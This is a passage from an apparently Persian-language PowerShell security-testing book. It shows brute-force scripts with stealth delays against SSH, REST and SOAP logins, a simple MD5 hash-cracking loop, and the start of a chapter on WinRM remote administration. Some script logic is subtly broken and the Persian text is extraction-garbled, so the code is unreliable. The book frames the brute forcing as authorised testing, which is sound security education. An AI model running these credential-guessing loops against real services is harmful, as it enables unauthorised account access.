از   SSHارسال رمز عبور به دستور   کند. ورود  ی استفاده م  SSHدستور    ی اجرا  ی برا    Invoke-Expressionو 

بعد   زیآم  تیموفق  م  ی اقدامات  آغاز  حال یرا  در  تلاش   یکند،  پ  یهاکه  و  مربوطه ضبط    یخطا  یهاام یناموفق 

 شوند. ی م

Handling SSH server responses 

  ستم یورود به س   یهاشکست تلاش   ای  تیدهنده موفقکه نشان  دهند ی پاسخ م  یمختلف  یهاام یبا پ  SSH  یسرورها

  ر یتفس  Brute Forceهر تلاش    جه ینت   نییتع   ی ها را براپاسخ  نیتوانند ای م PowerShell  یهاپتیاست. اسکر

 کنند:

try { 
     # Execute the SSH command 
     Invoke-Expression -Command $sshCommand 
     Write-Host "Login successful: $username:$password" 
     # Perform additional actions based on a successful login 
} 
catch { 
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     # Handle SSH server response (e.g., incorrect credentials) 
     $errorMessage = $_.Exception.Message 
     Write-Host "Login failed: $username:$password - $errorMessage" 
} 

Rate limiting and stealth 

  ستم یورود به س   یهاتلاش   نیب  ری ، تأخSSHو کاهش خطر مسدود شدن توسط سرور    ییاز شناسا  یری جلوگ  یبرا

 به دست آورد:   Start-Sleepتوان با استفاده از ی را م نی. اد یریرا در نظر بگ 

$delaySeconds = 2 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
               # This is the code section that tries 
# to connect and authenticate a user. 
           Start-Sleep -Seconds $delaySeconds 
     } 
} 

Logging and reporting 

 توانند ی م   PowerShell  یهاپت ی. اسکرد یکن   ی ساز  ادهیرا پ  Brute Force  ،loggingحمله    ج یثبت نتا  یبرا

 ثبت کنند:  یبعد  ل یو تحل ه یتجز ی ناموفق و هرگونه اطلاعات مرتبط را برا یهاموفق، تلاش  یهانیلاگ

$logFile = "bruteforce_log.txt" 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # ... (previous code) 
          if ($?) { 
               Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Successful login: $username:$password" | Out-File 
-Append -FilePath $logFile 
          } else { 
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               Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Failed login: $username:$password - $_" | Out-File 
-Append -FilePath $logFile 
          } 
     } 
} 

ها در  ی ریپذ بیآس   ایالگوها    ییو شناسا  Brute Forceحمله   جینتا  ل یو تحل  ه یتجز ی تواند برای م Log  لیفا  نیا

 مهم باشد. ار یبس SSHسرور  تیامن

Brute forcing web services using PowerShell 

Brute Force  چه    س،یوب سرو  کیSOAP  ای  REST مختلف اعتبار    یهاب یترک  کیستماتی، شامل تلاش س

تعامل با وب    ییو توانا  یسینوپتیاسکر  یهات یبا قابل  PowerShellاست.    رمجازیغ   یبه دسترس   ی ابیدست  یبرا

  یراهنما  ن یباشد. در ا  یتی تست امن   ن یدر ح  ند یفرآ  نی ا  ی خودکارساز  یبرا  یتواند ابزار ارزشمند ی ها مسیسرو

چگونگ   ق، یدق از    یما  برا   PowerShellاستفاده  جنبه   س یسرو  Brute Force  ی را  پوشش  مانند    ییهاوب، 

  ی و در نظر گرفتن ملاحظات اخلاق   تیاحراز هو  یهاروش   ب ی، ترکRESTو    SOAP  یهابه درخواست  یدگیرس 

 کرد.  م یخواه یبررس 

Understanding the web service 

.  د یمورد نظر خود داشته باش   سیاز وب سرو  یمهم است که درک روشن  اریبس  ،یتیامن   شیقبل از شروع هر آزما

با    ییدر محل، و آشنا  تیاحراز هو   یهاسم ی(، درک مکانREST  ای  SOAP)  سینوع وب سرو  ییشامل شناسا  نیا

 است. APIاسناد 

Setting up the environment 

شود.  ی کنترل شده انجام م  ط یمح  کیدر  تست  و    د یدار  یتیامن   شیآزما  یبرا  حیکه مجوز صر  د یحاصل کن  نانیاطم

با بایست  می ،  Rate Limiting  یمشو هرگونه خط   تیاحراز هو   یهاروش   ،یانیدرک نقاط پا  یبرا   ن،یعلاوه بر ا

 .د یوب آشنا شو  سیسرو APIاسناد 

Installing required modules 

PowerShell  م  ییهاماژول   ی دارا با سروی است که  تعامل  به    یهاسیتواند  بسته  را ساده کند.  وب 

ن  ی شیآزما  یازهاین است  ممکن  ماژول   ازیخود،  نصب    ا ی  Invoke-RestMethodمانند    ییهابه 

InvokeWebRequest  د یداشته باش: 
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Install-Module -Name PowerShellGet -Force -AllowClobber -Scope 
CurrentUser 
Install-Module -Name PSReadline -Force -AllowClobber -Scope 
CurrentUser 

Creating credential lists 

که توسط وب    ت ی. بسته به روش احراز هود یکن  آماده   Brute Forceحمله    ی ها را برا  Credentialاز    یستیل

 نیها باشند. انشانه   ایو رمز عبور    یکاربر   یهااز نام   یبیتوانند شامل ترک یها مست یل  نیشود، ای استفاده م   سیسرو

 : د یخوانب PowerShellبا استفاده از  یخارج یهالیها را از فاستیل

$usernames = Get-Content "usernames.txt" 
$passwords = Get-Content "passwords.txt" 

Web service authentication 

  ن یخود را بر ا  PowerShell  پتی. اسکرد یرا درک کن  سیمورد استفاده توسط وب سرو  تیاحراز هو  سمیمکان

 . د یده ق یتطب  تیاحراز هو ند یبه فرآ یدگیرس  یاساس برا

Basic authentication (REST) 

foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          $base64Auth = [Convert]::ToBase64String([Text. 
Encoding]::ASCII.GetBytes(("${username}:${password}"))) 
          $headers = @{ Authorization = "Basic $base64Auth" } 
          $response = Invoke-RestMethod -Uri "https://api.example.com/ 
resource" -Method Get -Headers $headers 
 
          # Check for successful login 
          if ($response.Status -eq "success") { 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions based on a successful login 
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          } else { 
               Write-Host "Login failed: $username:$password" 
          } 
     } 
} 

Token-based authentication (REST ) 

foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # Obtain the token using the credentials 
          $token = Get-AuthToken -Username $username -Password $password 
 
          # Include the token in the request header 
          $headers = @{ Authorization = "Bearer $token" } 
 
          # Perform the REST request 
          $response = Invoke-RestMethod -Uri "https://api.snowcapcyber. 
com/resource" -Method Get -Headers $headers 
 
          # Check for successful login 
          if ($response.Status -eq "success") { 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions based on a successful login 
          } else { 
               Write-Host "Login failed: $username:$password" 
          } 
     } 
} 

Handling SOAP authentication 

احراز هو  SOAP  یهاسیسرو از  م  XMLبر    ی مبتن  ت یاغلب  باشد  ی استفاده    ی هابسته کنند. ممکن است لازم 

SOAP  را باCredential د یمناسب بساز : 
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foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # Construct the SOAP envelope with credentials 
          $soapEnvelope = @"<soapenv:Envelope xmlns:soapenv="http:// 
schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://www. 
snowcapcyber.com/webservice"> 
<soapenv:Header/> 
<soapenv:Body> 
<web:Authenticate> 
          <web:Username>$username</web:Username> 
               <web:Password>$password</web:Password> 
          </web:Authenticate> 
</soapenv:Body> 
</soapenv:Envelope>"@ 
          # Perform the SOAP request 
          $response = Invoke-WebRequest -Uri "https://api.example.com/ 
webservice" -Method Post -Body $soapEnvelope -ContentType "text/xml" 
          # Check for a successful login 
          if ($response.StatusCode -eq 200) { 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions based on a successful login 
          } else { 
 Write-Host "Login failed: $username:$password" 
          } 
     } 
} 

Handling web service responses 

وب    یهاس ی. سرود یکن  ریتفس  Brute Forceشکست هر تلاش    ای  تیموفق   نییتع  یرا برا   سیوب سرو  یهاپاسخ

 :گردانند ی برم دهند ی را نشان م  جهی را که نت یپاسخ خاص یلدهایف  ای تیوضع  یمعمولاً کدها

foreach ($username in $usernames) { 
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     foreach ($password in $passwords) { 
          # ... (previous code) 
 
          # Check for successful login 
          if ($response.Status -eq "success") { 
               Write-Host "Login successful: $username:$password" 
               # Perform additional actions 
          } else { 

               Write-Host "Login failed: $username:$password" 
          } 
     } 
} 

Rate limiting and stealth 

  ریتاخ  کند،ی اعمال م  ها راآن   وب  سیکه سرو  Rate Limiting  یهااستیس   تیو رعا  ییاز شناسا  یریجلوگ   یبرا

 . انجام دهید را  ستمیورود به س  یهاتلاش  نیب

 :مورد زیر را در نظر بگیرید به عنوان مثال، 

$delaySeconds = 2 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # do some stuff 
           Start-Sleep -Seconds $delaySeconds 
     } 
} 

Logging and reporting 

 توانند ی م   PowerShell  یهاپت ی. اسکرد یکن   ی ساز  ادهیرا پ  Brute Force  ،loggingحمله    ج یثبت نتا  یبرا

 ثبت کنند:  یبعد  ل یو تحل ه یتجز ی ناموفق و هرگونه اطلاعات مرتبط را برا یهاموفق، تلاش  یهانیلاگ
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$logFile = "snowcap_bruteforce_log.txt" 
foreach ($username in $usernames) { 
     foreach ($password in $passwords) { 
          # Do Stuff 
          # Log the result of the login attempt 
          if ($response.Status -eq "success") { 
               Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Successful login: $username:$password" | Out-File 
-Append -FilePath $logFile 
          } else { 
               Write-Output "$((Get-Date).ToString('yyyy-MM-dd 
HH:mm:ss')) - Failed login: $username:$password" | Out-File -Append 
-FilePath $logFile 
          } 
     } 
} 

Adapting to web service specifics 

داده شود.    قیمورد نظر تطب  س یخاص سرو  اتیبر اساس جزئ  د یبا  پتیمنحصر به فرد است و اسکر  سیهر وب سرو

ملاحظات خاص    ریبه خطا و سا  ی دگیدرخواست و پاسخ، رس   یها، فرمت API  یانیشامل درک نقاط پا  موضوع   نیا

 است. سیسرو

Handling CAPTCHA and multifactor authentication 

( استفاده  MFA)  یچند عامل  ت یاحراز هو  ای  CAPTCHAمانند    ی اضاف  ی تیاز اقدامات امن  سیوب سرو  د یفرض کن 

ممکن    ی مداخله دست  ای  یخارج   ی . ادغام با ابزارهاردیموارد را در نظر بگ   ن یا  د یبا  پتی کند. در آن صورت، اسکری م

 باشد. ازیمورد ن  ییهاچالش ن یبه چن ی دگیرس  یاست برا

Iterating and refining 

Brute Forcing  و در چرخه    د یخود را اصلاح کن  کرد یرو  د،یکن  ل یو تحل  هی را تجز  جیاست. نتا  ی تکرار  ند یفرآ  ک ی

  ت یبه سطح رضا  دنیرا تا رس   شیو آزما  د یکن  م یرا بر اساس بازخورد تنظ  پتی. اسکرد یتکرار کنآن را    شیآزما

 . د یادامه ده ،تیاز امن یبخش
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Brute Forcing a hash 

Brute Forcing a Hash  ی متن ساده مربوط به رمزها  ر یکشف مقاد  ی برا  ی تیاست که در تست امن  ی کیتکن  

قابل  PowerShellشود.  ی هش شده استفاده م  یهاداده   ایعبور     ی و توابع رمزنگار  یسینو  پتیاسکر  یهات یبا 

 Brute  یرا برا   PowerShellاستفاده از    یچگونگ ،  راهنما  ن ی. اردیمنظور مورد استفاده قرار گ  ن یا  یتواند برای م

Forcing a Hash، کند ی م ی بررس  ی و ملاحظات اخلاق هاک یتکن  ،یاساس  میپوشش مفاه. 

Understanding hash brute forcing 

فرد  منحصربه   یهر ورود   یو برا   کند ی م  لیبا طول ثابت از کاراکترها تبد   ییهارا به رشته   ی ورود  یهاتوابع هش داده 

طرفه باشند،    کیاند که توابع  شده   یطراح  یاگونه ها به که هش   ی. در حالکند ی م  د ی هش منحصر به فرد تول  کی

شامل    خش در این ب  Brute Forceرا نشان دهد،    یاصل  یها را معکوس کرد تا ورود آن   توان ی که نم  یمعن   ن یبه ا

 شود.  دایکه هش منطبق پ  یمختلف است تا زمان یهای ورود  کیستماتیس  شیآزما

Setting up the environment 

شود ی کنترل شده انجام م   ط یمح ک یدر    شیآزما  نکهیاز ا  نانیاطم  ،Brute Forcing a Hashقبل از پرداختن  

نیز باید    SHA-256و    MD5هش مورد استفاده، مانند    تم یدر مورد الگور  ی اطلاعات  ن،یمهم است. علاوه بر ا  اریبس

 . شود یجمع آور

Hash types and hashcat 

PowerShell  کرک هش نباشد.    ی ابزار برا  نیآن، کارآمدتر   یر یتفس  تیماه  ل یممکن است به دلHashcat  ،

تخصص  کی هش  یبرا  یابزار  که  کرک  م  حیترج  PowerShellبه    اغلب  است  ای داده  با  حال،    نیشود. 

PowerShell   ارزشمند محدود هستند،    یخارج   یکه ابزارها  ییوهایو سنار  یاهداف آموزش   یتواند برای هنوز هم م  

 باشد. 

PowerShell script for hash brute forcing 

 Brute  کرد یرو   ک ی. ما از  می کن  جاد یا  Brute Forcing a Hash  ی برا  PowerShellساده    پتیاسکر  ک ی  د ییایب

Force  که استفاده از ابزار    د یداشته باش   ادیکرد. به    م یمثال استفاده خواه  نینشان دادن مفهوم در ا  یبرا  هیاول

 : خواهند بودکارآمدتر   یواقع  ی ایدن  یوهایسنار یبرا  Hashcatمانند  ی تخصص
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$hashToCrack = "5d41402abc4b2a76b9719d911017c592" 
# Example MD5 hash ("hello") 
$charset = 1..26 + 65..90 + 97..122 # ASCII values for lowercase and 
uppercase letters 
function ConvertTo-String($array) { 
[System.Text.Encoding]::ASCII.GetString($array) 
} 
function Generate-BruteForceStrings { 
     param ( 
           [int]$length, 

            [int]$charset 
     ) 
     $bruteForceStrings = @() 
     $charsetLength = $charset.Length 
     1..$length | ForEach-Object { 
          $bruteForceStrings += [char]$charset[$_.GetHashCode() % 
$charsetLength] 
     } 
     return ConvertTo-String $bruteForceStrings 
} 
# Brute-force loop 
for ($length = 1; $length -le 4; $length++) { 
     $bruteForceString = Generate-BruteForceStrings -length $length 
-charset $charset 
     $hashAttempt = [System.Security.Cryptography. 
HashAlgorithm]::Create("MD5").ComputeHash([System.Text. 
Encoding]::ASCII.GetBytes($bruteForceString)) 
     if ($hashToCrack -eq ($hashAttempt | ForEach-Object { 
$_.ToString("x2") } -join '')) { 
          Write-Host "Hash cracked! Plaintext: $bruteForceString" 
           break 
     } 
} 
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Write-Host "Brute-forcing completed." 

  ک یها با هش هدف، آن   یها هش  سه یمختلف و مقا یهابا طول  ییهارشته  جاد یتا با ا  کند ی تلاش م  پتیاسکر نیا

 کند.  جادی ا helloکلمه   ی را برا MD5هش 

Customization for different hash algorithms 

. به  د یده  ق یهش مختلف تطب  یهاتم یالگور  ی را برا  پتیتا اسکر  د یده  ر ییتغ  Createهش را در متد    تمیالگور

 :د یاستفاده کن SHA-256هش   یبرا  SHA256عنوان مثال، از  

$hashAttempt = [System.Security.Cryptography. 
HashAlgorithm]::Create("SHA256").ComputeHash([System.Text. 
Encoding]::ASCII.GetBytes($bruteForceString)) 

Salting 

به رمز    ی مقدار تصادف   ک یکه قبل از هش کردن،    یی هستند، جانیز    Saltingاغلب شامل    ی واقع   ی ایدن   یوهایسنار

گسترش داد، اما    شده Salt  یهاهش  تیریمد  یتوان برا ی را م PowerShell یهاپتی. اسکرشودی عبور اضافه م 

 دهند.ی م  شیافزا یرا به طور قابل توجه  یدگیچ یپاین موضوع، 

Handling larger character sets and optimizing 

.  د یکن  تیریکارآمد مد  Brute Force ی را برا ی بزرگتر یو مجموعه کاراکترها د یکن نهیرا به پتیاسکر د یشما با

Hashcat  ابزارها دل  ی و  به  به  لیمشابه  پشت  نهیکد  و  مد   GPU Accelerationاز    یبانیشده    ن یا  تیریدر 

 هستند. یعال وهایسنار

Summary 

مختلف    یهارا در حوزه   یما سفر   ،یت یاز تست امن  یاتیجنبه ح   ک یبه عنوان    Brute Forceفصل در مورد    نیدر ا

آن را    تی، اهمBrute Forceاز    ی. با شروع درک اساس میرا کشف کرد  کیتکن  نیا   یهای دگیچیو پ  می آغاز کرد

  Brute Forceفصل به کاربرد خاص    نی. امی کرد  یبررس   ت یاحراز هو  یهاستمیدر س   هایریپذ بیآس   ییدر شناسا

  پرداخته   هش   و(  RESTو   SOAP، خدمات وب )SSH ی ، سرورهاFTP  ی مختلف، از جمله سرورها  یهانه یدر زم 

 . است

پ از    ستم یخودکار ورود به س   یهاتلاش   یهای دگیچیما در    ی سرورها  یبرا  PowerShellبا استفاده 

FTP  ی کاوش به سرورها  نی. امیکرد  د یمسئولانه و مجاز تأک  ش یبه آزما  ازیو بر ن  م یکرد   شیمایپ  SSH  
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  ی و رمز عبور برا   ینام کاربر   ک یستماتیس   ب یترک  یبرا  PowerShell  یهاپتیکه اسکر  یی جا  افت، یگسترش  

 . شوند ی استفاده م ت یاحراز هو ند یدر فرآ یآشکار کردن نقاط ضعف احتمال

  ی ابزار قدرتمند  تواند ی م PowerShellکه چگونه  می، نشان دادRESTو   SOAPوب   سیبا انتقال به هر دو سرو

  سیسرو  یهابه پاسخ  یدگی تا رس   تیاحراز هو  یهاباشد. از درک روش   Brute Forceحملات    یخودکارساز  یبرا

  د ی. تاکدهد ی ارائه م  ایپو  یهاط یمح   نیدر ا  یتیتست امن  فیظر  یهارا در مورد تفاوت   ییهانش یفصل ب  نیوب، ا

و گنجاندن ملاحظات   Rate Limitingدر نظر گرفتن    س،ی هر وب سرو  یهای ژگیها بر اساس وپت یبر انطباق اسکر

 تست بود.  ند یدر فرآ  یاخلاق

م   همچنین  فصل  نیا اسکر  دهد ینشان  چگونه  س   توانند ی م  PowerShell  یهاپت یکه  طور    ک یستماتیبه 

هش شده امتحان کنند.    یها داده   ایعبور    یمتن ساده مربوط به رمزها  ریکشف مقاد یرا برا   یمختلف  یهای ورود

  ی ابزار آموزش   کیندارد، اما به عنوان    یی کارا  Hashcatمانند    یتخصص  یزارهابه اندازه اب  پتیاسکر  نیاگرچه ا

 مرتبط با کرک کردن هش دارد.   یو ملاحظات اخلاق متدولوژی به  ی اجمال یو نگاه کند ی عمل م

برا  یراهنما  کیفصل    نیا وجه  یجامع  چند  انداز  تست  Brute Force  یچشم  ا  یتیامن  یهادر    ن یاست. 

امن ابزارها  ی تیمتخصصان  و  دانش  با  برا  یرا  در    ییشناسا  ی لازم  و    یهاس ی، سروFTP  ،SSHنقاط ضعف  وب 

در    یهامواجهه با چالش   رد  تال یجی د  یهاط یمح  یسازمنیا  ی جامع برا   ی کردیو رو  کند ی هش مجهز م   یسازادهیپ

 .کند ی م ت یرا تقو یبریسا ت یحال تحول امن

 یهای فصل به فناور   نیداشت. ا  م یاز راه دور خواه  تیریمد   یدر مورد اصول اساس   یق ی کاوش عم  ،یدر فصل بعد 

 را با اهداف راه دور خود متصل کند. رانی تا مد  سازدی را قادر م PowerShellکه   پردازدی م یاصل
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 PowerShell and Remote Control and Administration - دهمفصل یاز
  پردازد یم  یاصل  یهای به فناور  در ادامهشود.  ی از راه دور آغاز م  تیریمد   یدر اصول اساس   قیفصل با کاوش عم  نیا

  ه یاهداف راه دور خود متصل کند. با پوشش دادن اصول اول  ه را ب  ران یتا مد   سازدیرا قادر م   PowerShellکه  

PowerShell Remoting    جلسه از راه دور به    نیچند   ت یریمد   یبرا   شرفته یپ  یهاروش سمت  به    ادامه مسیرو

 آورد.  د یکنترل از راه دور به دست خواه یسنجامکان ی ربنایز ی معمار یهانه یاز زم ی طور همزمان، درک قو

  PowerShellکه استفاده از    پردازد ی م  ی عمل  یهانیو تمر  ی عمل  یهافصل به ارائه مثال   نیا  نه، یزم  نیبا گسترش ا

  ی . چه شامل اجرا دهد ی نشان م  یی ایپراکنده جغراف  یهاط یدر مح  مدیریتی   ف یاز وظا  ی متنوع  ف یط   یرا در اجرا 

  ن یراه دور باشد، ا یهاو فهرست هال یفا ت یریا مد یراه دور  یندهای راه دور، نظارت بر فرآ یهانیدستورات در ماش 

 .دهد ی را م یوربهره  شیگردش کار و افزا یسازساده  یبرا  یضرور یهافصل به شما مهارت 

 : میپرداز ی م ر ی فصل به موضوعات ز  نیدر ا

• Remote access and PowerShell 

• PowerShell and remote administration 

• Using PowerShell for Simple Network Management Protocol (SNMP) 

Remote access and PowerShell 

PowerShell  را در    یقو   ون یاز راه دور و اتوماس   تیریمد   یهات یاست، قابل  افتهیتوسعه    کروسافتیکه توسط ما

از راه دور   ی( در درجه اول دسترس WinRM) ندوز یاز راه دور و تیریدهد. پروتکل مد ی ارائه م ندوز یو  یهاط یمح

، از جمله  PowerShellکنترل از راه دور    فمختل  یهاکند. در مرحله بعد، جنبه ی م  لیرا تسه  PowerShellبه  

 دستورات از راه دور را شرح خواهم داد. یو اجرا   یکربند یپ ، یراه انداز

Enabling PowerShell remoting 

  ن یا  ی در دستگاه مورد نظر است. برا  PowerShell Remotingاز راه دور، فعال کردن    یگام در دسترس  نیاول

 شود:ی استفاده م EnablePSRemotingمنظور از 

Enable-PSRemoting -Force 

تنظی م  نیتضم  Force-پارامتر   که  ن  ماتیکند  ای م   یسیبازنو  ازیموجود در صورت  دستور    نیشوند. 

  PowerShellدهد دستورات  ی کند و به آن اجازه می م  یکربند یدستگاه پ  یرا رو  WinRM  سیسرو

 . ردیراه دور را بپذ 
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Configuring WinRM 

WinRM   ارتباط به پروتکل    یبراHTTP  ای  HTTPS   ماتی تنظ  یکربند یپ  یاست. برا  یمتک  WinRM د یتوانی ، م 

  WinRM  ی کربند یاز پ  یانمونه   نجای. در اد یاستفاده کن  PowerShell  دستورات   ای   winrmاز ابزار خط فرمان  

 است:   Self-Signed Certificateبا   HTTPSاستفاده از  یبرا

$thumbprint = (New-SelfSignedCertificate -DnsName localhost 
-CertStoreLocation Cert:\LocalMachine\My).Thumbprint 
winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@ 
{Hostname="localhost";CertificateThumbprint="$thumbprint"}' 

و  ی م  جاد یا  Self-Signed Certificate  ک ی  پتیاسکر  نیا برا  WinRMکند  در    ی را  دادن    HTTPSگوش 

 کند.ی م یکربند یپ

Connecting to a remote machine 

راه    PowerShellجلسه    کی،  EnterPSSessionبا استفاده از    توانند ی م  رانیمد   موت، یپس از فعال کردن ر

 کنند:  یاندازدور راه 

Enter-PSSession -ComputerName <RemoteComputer> 

دهد تا دستورات  ی اجازه م  ران یکند و به مد ی م  جاد یراه دور مشخص شده ا  انه یرا در را  ی جلسه تعامل  ک ی  دستور   نیا

 در آن دستگاه حضور دارند.  ی کیزیبه صورت ف یی اجرا کنند که گو ی را طور

Executing commands on remote machines 

مثال زیر در این  کند.  ی راه دور فراهم م  یهانیدستورات در ماش   ی اجرا  ی را برا  Invoke-Commandپاورشل،  

 خصوص است:

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
Get-Process } 

 . کند ی م یابیراه دور مشخص شده را باز انهیدر حال اجرا در را  یندهایدستور اطلاعات مربوط به فرآ نیا
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Remoting with credentials 

 د یتوانی ، م PowerShell Remotingراه دور با استفاده از    نیماش   ک یدر    PowerShellجلسه    کی  جاد یا  یبرا

 .  د یاستفاده کن New-PSSessionاز 

$RemoteComputer = "powershell.snowcapcyber.com" 
# Create a new PowerShell session on the remote machine 
$session = New-PSSession -ComputerName $remoteComputer 
# Now, you can run commands on the remote machine 
Invoke-Command -Session $session -ScriptBlock { 
     # Your PowerShell commands go here 
     Get-Process 
} 
Remove-PSSession -Session $session 

 :د یتوجه کن ری د زبه موار مذکور مثال  یبرا

• RemoteComputer  آدرس    ای  زبانیرا با نام مIP   به آن متصل    د یخواهی که م  یدستگاه راه دور  یواقع

 .د یکن نیگزیجا د یشو

• New-PSSession  جلسه    کیPowerShell  رو ا  یرا  دور  راه  متغی م  جادیدستگاه  در  را  آن  و    ر ی کند 

$session کند.ی م  رهیذخ 

• Invoke-Command   شده، دستورات    جاد یدهد تا با استفاده از جلسه ای به شما اجازه مPowerShell  

  ندهایاز فرآ  یستیمورد، ل  نی. در اد یدستگاه راه دور اجرا کن  ی ( را روScriptBlock-)مشخص شده در پارامتر  

 د.شوی م ی ابیباز Get-Processرا با استفاده از 

 شود. ی در دستگاه راه دور استفاده م  PowerShellبستن جلسه  ی برا Remove-PSSession  ت،یدر نها •

  یاه یو پا  دهد ی راه دور نشان م  نیماش   ک ی  ی را بر رو   PowerShellجلسه    ک یو استفاده از    جاد یمثال اصول ا  نیا

 . کند ی فراهم م ترشرفته یاز راه دور پ تیریمد  ی کارها یبرا

Configuring trusted hosts 

 کنند.   یکربند یمورد اعتماد را پ یهازبانیاز م  ی ستیتوانند لی م  رانیمد  من،یاز ارتباط ا نانیاطم یبرا
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Set-Item wsman:\localhost\Client\TrustedHosts -Value <RemoteComputer> 
-Force 

 کند.ی قابل اعتماد اضافه م  یهازبانیم  ستیراه دور مشخص شده را به ل وتریدستور کامپ نیا

Session configuration 

  ک ی  جادی به عنوان مثال، ا  -کرد    یو سفارش   یکربند یخاص پ   ی ازهاین  یتوان برایرا م   PowerShellجلسات  

 :به صورت زیر است ی جلسه دائم

$session = New-PSSession -ComputerName <RemoteComputer> 
Invoke-Command -Session $session -ScriptBlock { Get-Process } 

 شود.ی استفاده م از آن فرمان در دستگاه راه دور   کی ی اجرا ی و برا شده جاد یجلسه ا کی نجا یدر ا

Parallel remoting 

PowerShell   راه دور با استفاده از پارامتر    نیماش   نیدستورات در چند   یمواز  یاز اجرا-ThrottleLimit    با

Invoke-Command  کند.  ی م یبانیپشت 

$computers = "<RemoteComputer1>", "<RemoteComputer2>", 
"<RemoteComputer3>" 
Invoke-Command -ComputerName $computers -ScriptBlock { Get-Process } 
-ThrottleLimit 3 

 کند.ی م ی ابیراه دور به طور همزمان باز نیرا از سه ماش  ند یلاعات فرآدستور اط  نیا

تا    دهد ی امکان را م  نیا  رانیبه مد   WinRM  قیاز طر  PowerShellاز راه دور    یدسترس   یهات یقابل  جه، ی در نت

  جاد ی ، اWinRM  یکربند ی توانند با پی م   رانیو خودکار کنند. مد   ت یریبه طور مؤثر مد   ندوز یرا در شبکه و  فیوظا

از   استفاده  و  به طور  Enter-PSSessionو    Invoke-Commandمانند    ییها  cmdletجلسات    کپارچه ی، 

  ون یاز راه دور و اتوماس   تیری مد   ی قدرتمند برا  ی را به ابزار  PowerShellکنند و    تی ریراه دور را مد   یهانیماش 

 کنند.  لیتبد  ندوز یو  یهاط یدر مح

PowerShell and remote administration 

PowerShell  ما توسط  قابل  افتهیتوسعه    کروسافتیکه  و    یدسترس   یبرا  یقدرتمند   یهاتیاست، 

از طر  تیریمد  راه دور  ای ارائه مرا    WinRMپروتکل    ق یاز  ما جنبه   نیدهد. در  مختلف    یهاراهنما، 
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PowerShell  راه دور،    یهان یدستورات در ماش   ی اجرا  دور، جلسات راه    جاد یاز راه دور مانند ا  یدسترس   ی برا

از راه دور مواز  نه، یزمپس   یکارها  تیریمد  از متغ   ، یکنترل  از راه دور    تیریو مد   پت،یاسکر  ی اجرا  ر، یاستفاده 

 . میکنی م ی بررس را  دادهایو گزارش رو  یستریخدمات، رج

Establishing remote sessions 

PowerShell Remoting   دهد تا با استفاده از  ی اجازه م  ران یبه مدEnter-PSSessionرا بر    ی ، جلسات تعامل

 کنند.   جادی راه دور ا یهانیماش  ی رو

Enter-PSSession -ComputerName <RemoteComputer> 

  ی اجرا  یبرا   کپارچهی  ط یمح  ک یو    نمودهراه دور مشخص شده آغاز    انه یرا در را  یجلسه تعامل   ک یدستور    نیا

 کند.ی منابع فراهم م ت یریدستورات و مد 

Executing commands on remote machines 

Invoke-Command  مثال است:  ک ی نجایمهم است. در ا اریراه دور بس یها نیدستورات در ماش  ی اجرا یبرا 

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
Get-Service -Name Spooler } 

- کند. پارامتر    ی م  یابیراه دور مشخص شده باز  انهیرا در را  Spooler  سیدستور اطلاعات مربوط به سرو   نیا

ScriptBlock از کد  یبلوک ی اجازه اجراPowerShell دهد.  ی را در دستگاه راه دور م 

Remote variable usage 

PowerShell Remoting  کند. ی م ی بانیدر جلسات راه دور پشت رهای استفاده از متغاز 

$remoteVar = "Hello from remote" 
Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { WriteHost 
$using:remoteVar } 

اختصاص داده شده و سپس    یمقدار در جلسه محل  کی(  remoteVar$)   ریمتغ  ک یمثال، به    نیدر ا

  ی محل   یرهایارجاع به متغ  ی برا  :using$دهنده دامنه    ر ییشود. تغی استفاده ماز آن  در جلسه راه دور  

 مهم است.  اریراه دور بس نه یزم ک یدر 
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Remote script execution 

PowerShell  راه دور با استفاده از پارامتر    یهانیها را در ماش پتیکل اسکر  یاجرا-FilePath    باInvoke-

Command کند.  ی فعال م 

Invoke-Command -ComputerName <RemoteComputer> -FilePath C:\Scripts\ 
RemoteScript.ps1 

اجازه    ران یکند و به مد ی ( را در دستگاه راه دور اجرا مRemoteScript.ps1مشخص شده )  پتیدستور اسکر  نیا

 را از راه دور خودکار کنند.   دهیچی پ یدهد تا کارهای م

Handling background jobs 

PowerShell  کند.ی دستورات را فراهم م   یناهمزمان و مواز   ی و امکان اجرا  نموده   ی بانیپشت  نه ی پس زم  ی از کارها 

$scriptBlock = { 
     Get-Process 
     Start-Sleep -Seconds 5 
     Get-Service 
} 
$job = Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock 
$scriptBlock -AsJob 
Receive-Job -Job $job 

صورت ناهمزمان  به   جیو نتا شده راه دور اجرا    نیدر ماش  نه یزمکار پس   ک یبه عنوان    پتیمثال، بلوک اسکر نیدر ا

 .شوند ی م یابیباز

Parallel remoting 

PowerShell    با استفاده از پارامتر-ThrottleLimit    باInvoke-Command  دستورات    یمواز   یامکان اجرا

 کند. ی راه دور فراهم م  نیماش  نیرا در چند 
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$computers = "<RemoteComputer1>", "<RemoteComputer2>", 
"<RemoteComputer3>" 
Invoke-Command -ComputerName $computers -ScriptBlock { Get-Process } 
-ThrottleLimit 3 

  ن یچند   تیریرا در مد   ییکند و کارا ی م  یابیراه دور به طور همزمان باز  نیرا از سه ماش   ند یدستور اطلاعات فرآ  نیا

 بخشد.ی بهبود م ستمیس 

Remote registry manipulation 

از    ی مثال  نجایاز راه دور استفاده کنند. در ا  ندوز یو  یستریرج  یدستکار  یبرا   PowerShellتوانند از  ی م  رانیمد 

 دستگاه راه دور آورده شده است: ک یدر   یستر یرج د یکل  رییتغ

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
